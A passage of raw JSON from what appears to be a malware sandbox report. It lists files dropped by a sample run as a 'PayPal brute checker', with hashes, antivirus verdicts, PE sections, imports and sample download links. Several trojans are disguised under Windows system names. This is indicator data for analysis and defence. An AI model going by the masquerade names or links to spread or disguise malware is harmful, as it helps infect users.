DIR%\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll","file_size":11264,"md5":"2ae993a2ffec0c137eb51c8832691bcb","sha1":"98e0b37b7c14890f8a599f35678af5e9435906e1","sha256":"681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59","sha512":"2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9","type_tags":["pedll","executable"],"description":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows","runtime_process":"PayPalBrute_Checker.exe (PID: 3552)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"W32.Ramnit.CF","av_matched":2,"av_total":93,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=0fa3711642f49792e2ac1c24993f02c72790d09c0dda02bcf0fdd5dd7be338165f281ce4d1e81f7d23add895e5599df499f7648cf13decdfdea507a38d1028d9b4984d79a2","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=0fa3711642f49792e2ac1c24993f02c72790d09c0dda02bcf0fdd5dd7be338165f281ce4d1e81f7d23add895e5599df499f7648cf13decdfdea507a38d1028d9b4984d79a2","has_overview":true,"extended_details":{"filename":"System.dll","size":11264,"description":null,"architecture":"32 Bit","ssdeep":"192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn","imphash":"8c8a576201f68de1a3f26fc723b9f30f","authentihash":"d23ee4207a05419d525fe20cbd85d1a9b5814a6bfcb466ab245525005561e670","entrypoint_bytes":null,"packer":null,"version_info":[],"file_sections":[{"name":".text","entropy":6.40686843391,"virtual_address":"0x1000","virtual_size":"0x1d4f","raw_size":"0x1e00","md5":"56f86a5fdd7b5a1bb6b11cc70718fab5"},{"name":".rdata","entropy":3.87997863295,"virtual_address":"0x3000","virtual_size":"0x353","raw_size":"0x400","md5":"d0fdfecda59f1695c3c6f7692dac5b1f"},{"name":".data","entropy":0.349885353835,"virtual_address":"0x4000","virtual_size":"0x68","raw_size":"0x200","md5":"8cec75e61624383326fcbccb6ac5c1ee"},{"name":".reloc","entropy":3.71813486659,"virtual_address":"0x5000","virtual_size":"0x260","raw_size":"0x400","md5":"43b2a2c48f83dca50f976025445307a3"}],"file_imports":[{"module":"KERNEL32.dll","functions":["FreeLibrary","GetLastError","GetModuleHandleA","GetProcAddress","GlobalAlloc","GlobalFree","GlobalSize","LoadLibraryA","lstrcpyA","lstrcpynA","lstrlenA","MultiByteToWideChar","VirtualAlloc","VirtualFree","VirtualProtect","WideCharToMultiByte"]},{"module":"ole32.dll","functions":["CLSIDFromString","StringFromGUID2"]},{"module":"USER32.dll","functions":["wsprintfA"]}],"file_exports":[{"name":"Alloc","ordinal":1,"address":"0x10001000"},{"name":"Call","ordinal":2,"address":"0x100016bd"},{"name":"Copy","ordinal":3,"address":"0x10001058"},{"name":"Free","ordinal":4,"address":"0x100015b3"},{"name":"Get","ordinal":5,"address":"0x1000161a"},{"name":"Int64Op","ordinal":6,"address":"0x1000180d"},{"name":"Store","ordinal":7,"address":"0x100010e0"},{"name":"StrAlloc","ordinal":8,"address":"0x1000103d"}]}},{"name":"WatchBull.exe","file_path":"C:\\Media\\WatchBull.exe","file_size":10240,"md5":"2c3f35edde01ede4867bcfb16d47779b","sha1":"30591c98341c2874a23cd1f3d705e0c2ad2022c4","sha256":"c2cf8cba38db6296f975f21dabd51bda88263390d9545eb4dd45f839d5623397","sha512":"ace8675eeaded14256309358b04a43cfd98cb57be163035855e4fdbff6ccb444e7dc9c45af2ac57e4ce2d17e1697a4251fc4d545c2f6920b5b0280354d9be365","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Trojan.Small","av_matched":1,"av_total":72,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":{"filename":"WatchBull.exe","size":10240,"description":null,"architecture":"32 Bit","ssdeep":"192:wtc66j6TxMsQbJrStmIDoCHf9Ep1e9MlSdHcWKlKX:wtcruTxMsQbumIDoCHf9EnKMOHo","imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","authentihash":"bb4a082f442e09e5ddf316502ca3e93335f6a7455066ad12da5055dac2aa5c4c","entrypoint_bytes":null,"packer":"Microsoft visual C# v7.0 / Basic .NET","version_info":[{"id":"Translation","value":"0x0000 0x04b0"},{"id":"LegalCopyright","value":"Copyright 2019"},{"id":"Assembly Version","value":"1.0.0.0"},{"id":"InternalName","value":"WatchBull.exe"},{"id":"FileVersion","value":"1.0.0.0"},{"id":"CompanyName","value":null},{"id":"LegalTrademarks","value":null},{"id":"Comments","value":null},{"id":"ProductName","value":"WatchBull"},{"id":"ProductVersion","value":"1.0.0.0"},{"id":"FileDescription","value":"WatchBull"},{"id":"OriginalFilename","value":"WatchBull.exe"}],"file_sections":[{"name":".text","entropy":5.48996162947,"virtual_address":"0x2000","virtual_size":"0x1d00","raw_size":"0x1e00","md5":"3bfaa7ef13288867de9dc4ccb7709c7a"},{"name":".rsrc","entropy":4.0869420711,"virtual_address":"0x4000","virtual_size":"0x5ac","raw_size":"0x600","md5":"3fe1f88a184c368a5cd36231fea147ef"},{"name":".reloc","entropy":0.0815394123432,"virtual_address":"0x6000","virtual_size":"0xc","raw_size":"0x200","md5":"9803140df0e3c6195094409020503808"}],"file_imports":[{"module":"mscoree.dll","functions":["_CorExeMain"]}],"file_exports":[]}},{"name":"Windows defender.exe","file_path":"C:\\Media\\Windows defender.exe","file_size":10240,"md5":"c90b7f9c9526b4b75b72964e9dafe686","sha1":"5ea103a3ecf44c57c22cb6b1ac31db1f15418754","sha256":"8c58edd9b95eb12dd82c8eb54dd879f9c712239c2795daddf747b3ac59869953","sha512":"2f6d3f9b83ae0a6bc346779e5e52ba78ce35615fee7728db42c968e6ea8d631cbd534a49e48f803991862155a95af00fcb27f03d7701e03cac7b85ae13252061","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"Windows defender.exe (PID: 1696)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Disabler.U","av_matched":14,"av_total":72,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":true,"extended_details":{"filename":"Windows defender.exe","size":10240,"description":null,"architecture":"32 Bit","ssdeep":"192:wszcQhNzmXB5p0zK0SlZZ8stYcFwVc03KY:wocQhJwp0zKBZZptYcFwVc03K","imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","authentihash":"b66566abbb8689edc3b8dc5bb0852c195bbb07151057e8c4ba8c9619982ed11d","entrypoint_bytes":null,"packer":"Microsoft visual C# v7.0 / Basic .NET","version_info":[{"id":"Translation","value":"0x0000 0x04b0"},{"id":"LegalCopyright","value":"Copyright 2019"},{"id":"Assembly Version","value":"1.0.0.0"},{"id":"InternalName","value":"AntiDefender.exe"},{"id":"FileVersion","value":"1.0.0.0"},{"id":"CompanyName","value":null},{"id":"LegalTrademarks","value":null},{"id":"Comments","value":null},{"id":"ProductName","value":"AntiDefender"},{"id":"ProductVersion","value":"1.0.0.0"},{"id":"FileDescription","value":"AntiDefender"},{"id":"OriginalFilename","value":"AntiDefender.exe"}],"file_sections":[{"name":".text","entropy":5.11758653581,"virtual_address":"0x2000","virtual_size":"0x10b4","raw_size":"0x1200","md5":"3e68e4cc66ea37edec7cf3b3a8c9cd88"},{"name":".rsrc","entropy":4.77980234528,"virtual_address":"0x4000","virtual_size":"0x1040","raw_size":"0x1200","md5":"541b4cf7b43e23c0cf7df109882f0479"},{"name":".reloc","entropy":0.0776331623432,"virtual_address":"0x6000","virtual_size":"0xc","raw_size":"0x200","md5":"67e389576ecba0c2be3c758ca8eb305c"}],"file_imports":[{"module":"mscoree.dll","functions":["_CorExeMain"]}],"file_exports":[]}},{"name":"RuntimeBroker.exe","file_path":"C:\\Media\\dogs\\RuntimeBroker.exe","file_size":9216,"md5":"ec7aa2ad43812b17c57d95c7f91417a5","sha1":"f08a742d59c6b3f596afbc1c4f0e90a03721817a","sha256":"566556a0a75a7a3b480639ad7d46f1f54a2f2fd312adbe4fd45c9972a62841cc","sha512":"27e5fbfc12f6bb355f01f367f7bd9a26751d28bb950acca29610f7e9f5fb78ef186f9670ed9aa8b9d92bc71fb2be447b32fccbdc8b9ecb61417401b20a303924","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Malicious_confidence_90%","av_matched":3,"av_total":94,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=c23ac09f120febeb6f5aef18b15909bda91aa55fbbe83a7993e42fd46657c4be95e4f178f4fa9c54ab1bbe786f5befeb93b21c678e5d73285efcd51a3dfcce11a9abea4c6257dd4813d995c8","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=c23ac09f120febeb6f5aef18b15909bda91aa55fbbe83a7993e42fd46657c4be95e4f178f4fa9c54ab1bbe786f5befeb93b21c678e5d73285efcd51a3dfcce11a9abea4c6257dd4813d995c8","has_overview":true,"extended_details":{"filename":"RuntimeBroker.exe","size":9216,"description":null,"architecture":"32 Bit","ssdeep":"192:L1IRsW7DbuhKSOToiqu46BPlYGFlTSvZWw8:LCRsADbuiToiquhBdYGFlEZWw","imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","authentihash":"c17a45db93217818e4446295b2c23b37102ff99425ebd91c12b28fe65a6c4efb","entrypoint_bytes":null,"packer":"Microsoft visual C# v7.0 / Basic .NET","version_info":[{"id":"Translation","value":"0x0000 0x04b0"},{"id":"LegalCopyright","value":"Copyright 2019"},{"id":"Assembly Version","value":"10.23.6437.54"},{"id":"InternalName","value":"watchdog.exe"},{"id":"FileVersion","value":"145.7656.1"},{"id":"CompanyName","value":"Microsoft"},{"id":"LegalTrademarks","value":null},{"id":"Comments","value":"RuntimeBroker"},{"id":"ProductName","value":"RuntimeBroker"},{"id":"ProductVersion","value":"145.7656.1"},{"id":"FileDescription","value":"RuntimeBroker"},{"id":"OriginalFilename","value":"watchdog.exe"}],"file_sections":[{"name":".text","entropy":5.34977034778,"virtual_address":"0x2000","virtual_size":"0x181c","raw_size":"0x1a00","md5":"d4d2340e5d2bff7971eee81079b253d9"},{"name":".rsrc","entropy":4.28002391013,"virtual_address":"0x4000","virtual_size":"0x600","raw_size":"0x600","md5":"db9eed93fc4d737b0875d6f7bebcea06"},{"name":".reloc","entropy":0.0815394123432,"virtual_address":"0x6000","virtual_size":"0xc","raw_size":"0x200","md5":"4607ae279595523ef54978beea2ca6db"}],"file_imports":[{"module":"mscoree.dll","functions":["_CorExeMain"]}],"file_exports":[]}},{"name":"WebHelper.exe","file_path":"C:\\Media\\dogs\\WebHelper.exe","file_size":9216,"md5":"f631b959bc5ba60c60cbab64d1b76d62","sha1":"f2d2064aa43204313f5a3bc5d6454055a62d7a2b","sha256":"f6889c0f7a31ca655df699ecb4c67295ce5e792a5b64fabb9154f73a1c641b7f","sha512":"8589e603f3512c07246c3edfb3f331236eac2ce12f80bad5fc828c872232fb67e2413e9bb594e7986fc7ce26605dc6dcf9264fb8ed21bbbc312eedf864d60221","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Trojan.Small","av_matched":4,"av_total":71,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=57223985d63cdab6dc5dcd6b028ff7f56aa53bdda7184125c5050d83211c7ae3c782e3c3267d94de47041c23d5119cd7508219ea82f4a29b51134e5e4c29c34fa3db862cc3d34fea","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=57223985d63cdab6dc5dcd6b028ff7f56aa53bdda7184125c5050d83211c7ae3c782e3c3267d94de47041c23d5119cd7508219ea82f4a29b51134e5e4c29c34fa3db862cc3d34fea","has_overview":false,"extended_details":null},{"name":"dasHost.exe","file_path":"C:\\Media\\dogs\\dasHost.exe","file_size":9728,"md5":"325322c5fd3536dd757516d7ca24fb51","sha1":"9121ac1f530a2503e54c256981f719030cc8e4c7","sha256":"db9903a7c07e347ce0f41e16ca35c51cfbffc57cfae2e99402cb2cc7c9b2bc29","sha512":"c84608652c6430c5d4001ad22a8d0b3d24f2dd5e9942a1f3da0dfe32d0638feee4d68e4d6833b70882d432f0f7b96086f443b88ec3b8d8e73b0b423ff6dc81e7","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Trojan.Azden","av_matched":4,"av_total":72,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=7a63ea1d60f098623484b87c52388d9e0f1c7c481e12fb884eb4d9a5cc5da425aa02fdd91eee46e9f7a0d705cf23e9a7cdc2062b4e991e35c07dd02af3df923b45dab1b77b33","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=7a63ea1d60f098623484b87c52388d9e0f1c7c481e12fb884eb4d9a5cc5da425aa02fdd91eee46e9f7a0d705cf23e9a7cdc2062b4e991e35c07dd02af3df923b45dab1b77b33","has_overview":true,"extended_details":null},{"name":"regedit.exe","file_path":"C:\\Media\\dogs\\regedit.exe","file_size":8192,"md5":"38ca476c512decc14fe9858b960591a0","sha1":"3326055d1baae4dbb6af2d9fd73c59844346fd54","sha256":"5335ad811f5e9119be764681172268dc2c05e2a57fde995e2d3747b3159ce45b","sha512":"844f16bd2704b6644e78e3759d9df33aa3769951b81781a545e6775274c078d2b648b1287e39180de6c2c75be0f7a111844f2033326874bca29d5a7847875214","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Azden.A","av_matched":4,"av_total":94,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=4ebc8be6f4b587ce8e2554c3b1e75725eaeb2251f8c422443d2b2f599fd519874d6f9920e2f9bc479491a09344f5bfc5a895e4510ea60db59d703718d8abdfdf8609cdfeeebb","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=4ebc8be6f4b587ce8e2554c3b1e75725eaeb2251f8c422443d2b2f599fd519874d6f9920e2f9bc479491a09344f5bfc5a895e4510ea60db59d703718d8abdfdf8609cdfeeebb","has_overview":false,"extended_details":null},{"name":"fontreview.exe","file_path":"C:\\Media\\fontreview.exe","file_size":2864640,"md5":"46f0da6c296f5b7f22aace6e113f3cca","sha1":"d1f7e640698142c4897d7e5648f27e92f8d97e3c","sha256":"28ddd3359a5dd7fe1b8b2140406d54ae43f4468e0dc378858be820091ff61c9e","sha512":"eb91cbcc515649fe3ff1ef90b2f9627cd8b5f42874d0044055cc23350d24ce4e68e0800d6258ada1a23659fd69440376a661da3a30894ff340e90a4853ccfd71","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"cmd.exe (PID: 2600)","threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Trojan.Generic","av_matched":41,"av_total":72,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=2922588ff2d0a0c5f99373b36b6e301ffe7c85893773b09c03d9bd06e008e6b02f4b5db9109245e130d46028e3067317d4c8bd383cbc2c33f780435121ea4e4b03694eaa79d55a81a8","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=2922588ff2d0a0c5f99373b36b6e301ffe7c85893773b09c03d9bd06e008e6b02f4b5db9109245e130d46028e3067317d4c8bd383cbc2c33f780435121ea4e4b03694eaa79d55a81a8","has_overview":false,"extended_details":{"filename":"fontreview.exe","size":2864640,"description":null,"architecture":"32 Bit","ssdeep":"24576:NLVGhVxUnLK8fAuenNP5aIA8cLZTSsSgVzbNYap0+UZgcy+/RG7/PsDFS:N5Y/XsZTVGap0+agcy8G7/PsDF","imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","authentihash":"dd0d65e65490b08dadbee5eb4c5cc275b920759fb0b1ae79527000ed23af4ffa","entrypoint_bytes":null,"packer":"Microsoft visual C# v7.0 / Basic .NET","version_info":[{"id":"Translation","value":"0x0000 0x04b0"},{"id":"LegalCopyright","value":"Microsoft Corporation. All rights reserved."},{"id":"Assembly Version","value":"0.2.0.0"},{"id":"InternalName","value":"DCS.exe"},{"id":"FileVersion","value":"0.0.1.0"},{"id":"CompanyName","value":null},{"id":"LegalTrademarks","value":null},{"id":"Comments","value":"Microsoft"},{"id":"ProductName","value":null},{"id":"ProductVersion","value":"0.0.1.0"},{"id":"FileDescription","value":null},{"id":"OriginalFilename","value":"DCS.exe"}],"file_sections":[{"name":".text","entropy":5.99395323042,"virtual_address":"0x2000","virtual_size":"0x2b9704","raw_size":"0x2b9800","md5":"053a4ef4d4fa22ec8e145ba9c30f5fcd"},{"name":".sdata","entropy":4.95567206672,"virtual_address":"0x2bc000","virtual_size":"0x115b","raw_size":"0x1200","md5":"5182256e3e32aa60626b8d60fdc16537"},{"name":".rsrc","entropy":4.07927260048,"virtual_address":"0x2be000","virtual_size":"0x5b8","raw_size":"0x600","md5":"8b5b2194b6ed7c7824edd25b050e9dc8"},{"name":".reloc","entropy":0.0815394123432,"virtual_address":"0x2c0000","virtual_size":"0xc","raw_size":"0x200","md5":"36ada9de2d79634704e5d5cf252ea82b"}],"file_imports":[{"module":"mscoree.dll","functions":["_CorExeMain"]}],"file_exports":[]}},{"name":"urlref_httpsqlo4ka.ruDCRSdsock90cc6e447d345bb1f103751ab038bbce19190db6.exe","file_path":null,"file_size":1688492,"md5":"86ff7efcbbae4647a1c059363a4d26f0","sha1":"75ed4e3e0ef3416207db31e042d631081717086d","sha256":"8122082f126a07fe2f623b9b52eaafc2c3665fa6526ec3daae443cf636b62220","sha512":"c1c678055372c9dd50e132c695ce7a6e297df05f669d464d207cb0cb7fd736a6dfae049c9c4ea9cb5185563335ab2c32eb2e133a004794085843cc9c7bb7a93e","type_tags":["peexe","executable"],"description":"PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed","runtime_process":null,"threat_level":2,"threat_level_readable":"malicious","group":"malicious","av_label":"Disabler.U","av_matched":45,"av_total":72,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"SQLite.Interop.dll","file_path":"C:\\Media\\SQLite.Interop.dll","file_size":1088512,"md5":"d350dd4156a996b985e67c3ad30f62b8","sha1":"f5c370b59aefb739da5e5f3b23d7b925e46c8a65","sha256":"a235074525b3f2ae0ee13a1ee6734c2b8eb38e9b98c84794f7c7d1ca27d7b9fd","sha512":"efd0d0870602e6ccbde6c84dbae91e2e8e1dd474371b170dce0fbdea2e245e28dd54568fe07f3adda104c405c0443d7478fb2b8528a821d3fc6ede0b186162b4","type_tags":["pedll","executable"],"description":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":0,"threat_level_readable":"no specific threat","group":"clean","av_label":null,"av_matched":0,"av_total":70,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":true,"extended_details":{"filename":"SQLite.Interop.dll","size":1088512,"description":null,"architecture":"32 Bit","ssdeep":"24576:j4e6JNMgW5SlJDnAV6YR/dvrzUnthbdxxDEqm2phIdndtI:jlv1oGlnHO/xfph4m","imphash":"8891b0383a0181444d777f64cc2ae227","authentihash":"25725a965d20b2870353847b0032df069fa99e2ec8f1d4415b2c34953a51a74f","entrypoint_bytes":null,"packer":"Borland Delphi 3.0 (???)","version_info":[{"id":"LegalCopyright","value":"Public Domain"},{"id":"InternalName","value":"SQLite.Interop"},{"id":"FileVersion","value":"1.0.109.0"},{"id":"CompanyName","value":"Robert Simpson, et al."},{"id":"SourceId","value":"86636b58e29f85d17a2194bfacdb3b989a81b2bb 2018-08-11 19:58:48 UTC"},{"id":"SQLiteCopyright","value":"https://www.sqlite.org/copyright.html"},{"id":"ProductName","value":"System.Data.SQLite"},{"id":"SQLiteDescription","value":"SQLite Database Engine"},{"id":"ProductVersion","value":"1.0.109.0"},{"id":"FileDescription","value":"System.Data.SQLite Interop Assembly"},{"id":"SQLiteCompanyName","value":"D. Richard Hipp, et al."},{"id":"SQLiteSourceId","value":"2018-06-04 19:24:41 c7ee0833225bfd8c5ec2f9bf62b97c4e04d03bd9566366d5221ac8fb199a87ca"},{"id":"SQLiteVersion","value":"3.24.0"},{"id":"OriginalFilename","value":"SQLite.Interop.dll"},{"id":"Translation","value":"0x0409 0x04b0"}],"file_sections":[{"name":".text","entropy":6.59028339536,"virtual_address":"0x1000","virtual_size":"0xec878","raw_size":"0xeca00","md5":"f1f073558c74dea32b8c721d9ead792c"},{"name":".rdata","entropy":6.16047266863,"virtual_address":"0xee000","virtual_size":"0x13ef0","raw_size":"0x14000","md5":"7868650077b8632a2da40beec4eb7b87"},{"name":".data","entropy":2.99210214305,"virtual_address":"0x102000","virtual_size":"0x19d8","raw_size":"0x1400","md5":"683e0e56443ed9a78e370c591596d484"},{"name":".gfids","entropy":0.101910425663,"virtual_address":"0x104000","virtual_size":"0x14","raw_size":"0x200","md5":"a92cc8ed8c85d36fee9303020b9c9396"},{"name":".rsrc","entropy":4.48828233439,"virtual_address":"0x105000","virtual_size":"0x834","raw_size":"0xa00","md5":"ea32acf76700614d51c86ffac50538d3"},{"name":".reloc","entropy":6.71598505388,"virtual_address":"0x106000","virtual_size":"0x6d54","raw_size":"0x6e00","md5":"c0155ac7aa805099b6b4848c20261410"}],"file_imports":[{"module":"ADVAPI32.dll","functions":["CryptAcquireContextW","CryptCreateHash","CryptDecrypt","CryptDeriveKey","CryptDestroyHash","CryptDestroyKey","CryptDuplicateKey","CryptEncrypt","CryptHashData"]},{"module":"api-ms-win-crt-heap-l1-1-0.dll","functions":["calloc","free"]},{"module":"api-ms-win-crt-math-l1-1-0.dll","functions":["_CIatan2","_CIcosh","_CIsinh","_CItanh","_except1","_libm_sse2_acos_precise","_libm_sse2_asin_precise","_libm_sse2_atan_precise","_libm_sse2_cos_precise","_libm_sse2_exp_precise","_libm_sse2_log10_precise","_libm_sse2_log_precise","_libm_sse2_pow_precise","_libm_sse2_sin_precise","_libm_sse2_sqrt_precise","_libm_sse2_tan_precise","acosh","asinh","atanh","ceil","floor"]},{"module":"api-ms-win-crt-runtime-l1-1-0.dll","functions":["_beginthreadex","_cexit","_configure_narrow_argv","_crt_atexit","_endthreadex","_errno","_execute_onexit_table","_initialize_narrow_environment","_initialize_onexit_table","_initterm","_initterm_e","_register_onexit_function","_seh_filter_dll","strerror"]},{"module":"api-ms-win-crt-string-l1-1-0.dll","functions":["isalpha","isblank","strcspn","strncmp","strncpy","tolower","toupper"]},{"module":"api-ms-win-crt-time-l1-1-0.dll","functions":["_localtime64_s"]},{"module":"api-ms-win-crt-utility-l1-1-0.dll","functions":["qsort"]},{"module":"KERNEL32.dll","functions":["AreFileApisANSI","CloseHandle","CreateFileA","CreateFileMappingA","CreateFileMappingW","CreateFileW","CreateMutexW","DeleteCriticalSection","DeleteFileA","DeleteFileW","DisableThreadLibraryCalls","EnterCriticalSection","FlushFileBuffers","FlushViewOfFile","FormatMessageA","FormatMessageW","FreeLibrary","GetCurrentProcess","GetCurrentProcessId","GetCurrentThreadId","GetDiskFreeSpaceA","GetDiskFreeSpaceW","GetFileAttributesA","GetFileAttributesExW","GetFileAttributesW","GetFileSize","GetFullPathNameA","GetFullPathNameW","GetLastError","GetProcAddress","GetProcessHeap","GetSystemInfo","GetSystemTime","GetSystemTimeAsFileTime","GetTempPathA","GetTempPathW","GetTickCount","HeapAlloc","HeapCompact","HeapCreate","HeapDestroy","HeapFree","HeapReAlloc","HeapSize","HeapValidate","InitializeCriticalSection","InitializeSListHead","IsDebuggerPresent","IsProcessorFeaturePresent","LeaveCriticalSection","LoadLibraryA","LoadLibraryW","LocalFree","LockFile","LockFileEx","MapViewOfFile","MultiByteToWideChar","OutputDebugStringA","OutputDebugStringW","QueryPerformanceCounter","ReadFile","SetEndOfFile","SetFilePointer","SetUnhandledExceptionFilter","Sleep","SystemTimeToFileTime","TerminateProcess","TryEnterCriticalSection","UnhandledExceptionFilter","UnlockFile","UnlockFileEx","UnmapViewOfFile","WaitForSingleObject","WaitForSingleObjectEx","WideCharToMultiByte","WriteFile"]},{"module":"VCRUNTIME140.dll","functions":["__std_type_info_destroy_list","_except_handler4_common","memcpy","memmove","memset"]}],"file_exports":[{"name":"_interop_compileoption_get@4","ordinal":1,"address":"0x1002b8e0"},{"name":"_interop_compileoption_used@4","ordinal":2,"address":"0x1002b900"},{"name":"_interop_libversion@0","ordinal":3,"address":"0x1002b850"},{"name":"_interop_sourceid@0","ordinal":4,"address":"0x1002b840"},{"name":"sqlite3_activate_see","ordinal":5,"address":"0x1002bc30"},{"name":"sqlite3_aggregate_context","ordinal":6,"address":"0x100bead0"},{"name":"sqlite3_aggregate_count","ordinal":7,"address":"0x100be930"},{"name":"sqlite3_auto_extension","ordinal":8,"address":"0x1008cd80"},{"name":"sqlite3_backup_finish","ordinal":9,"address":"0x100c8110"},{"name":"_sqlite3_backup_finish_interop@4","ordinal":10,"address":"0x1002b120"},{"name":"sqlite3_backup_init","ordinal":11,"address":"0x100c8d60"},{"name":"sqlite3_backup_pagecount","ordinal":12,"address":"0x100c8090"},{"name":"sqlite3_backup_remaining","ordinal":13,"address":"0x100c80d0"},{"name":"sqlite3_backup_step","ordinal":14,"address":"0x100c8210"},{"name":"sqlite3_bind_blob","ordinal":15,"address":"0x100bdb60"},{"name":"sqlite3_bind_blob64","ordinal":16,"address":"0x100bdb10"},{"name":"sqlite3_bind_double","ordinal":17,"address":"0x100bda70"},{"name":"_sqlite3_bind_double_interop@12","ordinal":18,"address":"0x1002b540"},{"name":"sqlite3_bind_int","ordinal":19,"address":"0x100bda50"},{"name":"sqlite3_bind_int64","ordinal":20,"address":"0x100bd9d0"},{"name":"_sqlite3_bind_int64_interop@12","ordinal":21,"address":"0x1002b500"},{"name":"sqlite3_bind_null","ordinal":22,"address":"0x100bd990"},{"name":"sqlite3_bind_parameter_count","ordinal":23,"address":"0x100bd630"},{"name":"sqlite3_bind_parameter_index","ordinal":24,"address":"0x100bd570"},{"name":"sqlite3_bind_parameter_name","ordinal":25,"address":"0x100bd5e0"},{"name":"_sqlite3_bind_parameter_name_interop@12","ordinal":26,"address":"0x1002b490"},{"name":"sqlite3_bind_pointer","ordinal":27,"address":"0x100bd900"},{"name":"sqlite3_bind_text","ordinal":28,"address":"0x100bd8e0"},{"name":"sqlite3_bind_text16","ordinal":29,"address":"0x100bd860"},{"name":"sqlite3_bind_text64","ordinal":30,"address":"0x100bd880"},{"name":"sqlite3_bind_value","ordinal":31,"address":"0x100bd750"},{"name":"sqlite3_bind_zeroblob","ordinal":32,"address":"0x100bd6d0"},{"name":"sqlite3_bind_zeroblob64","ordinal":33,"address":"0x100bd650"},{"name":"sqlite3_blob_bytes","ordinal":34,"address":"0x100b60e0"},{"name":"sqlite3_blob_close","ordinal":35,"address":"0x100b62d0"},{"name":"_sqlite3_blob_close_interop@4","ordinal":36,"address":"0x1002b100"},{"name":"sqlite3_blob_open","ordinal":37,"address":"0x100b6360"},{"name":"sqlite3_blob_read","ordinal":38,"address":"0x100b6120"},{"name":"sqlite3_blob_reopen","ordinal":39,"address":"0x100b6010"},{"name":"sqlite3_blob_write","ordinal":40,"address":"0x100b6100"},{"name":"sqlite3_busy_handler","ordinal":41,"address":"0x100627e0"},{"name":"sqlite3_busy_timeout","ordinal":42,"address":"0x100626c0"},{"name":"sqlite3_cancel_auto_extension","ordinal":43,"address":"0x1008cd00"},{"name":"sqlite3_changes","ordinal":44,"address":"0x100634e0"},{"name":"_sqlite3_changes_interop@4","ordinal":45,"address":"0x1002b710"},{"name":"sqlite3_clear_bindings","ordinal":46,"address":"0x100bfb30"},{"name":"sqlite3_close","ordinal":47,"address":"0x10063150"},{"name":"_sqlite3_close_interop@4","ordinal":48,"address":"0x1002b860"},{"name":"sqlite3_close_v2","ordinal":49,"address":"0x10063130"},{"name":"sqlite3_collation_needed","ordinal":50,"address":"0x100603e0"},{"name":"sqlite3_collation_needed16","ordinal":51,"address":"0x10060350"},{"name":"sqlite3_column_blob","ordinal":52,"address":"0x100be740"},{"name":"sqlite3_column_bytes","ordinal":53,"address":"0x100be670"},{"name":"sqlite3_column_bytes16","ordinal":54,"address":"0x100be5a0"},{"name":"sqlite3_column_count","ordinal":55,"address":"0x100be910"},{"name":"sqlite3_column_database_name","ordinal":56,"address":"0x100bdec0"},{"name":"sqlite3_column_database_name16","ordinal":57,"address":"0x100bdea0"},{"name":"_sqlite3_column_database_name16_interop@12","ordinal":58,"address":"0x1002abf0"},{"name":"_sqlite3_column_database_name_interop@12","ordinal":59,"address":"0x1002ac50"},{"name":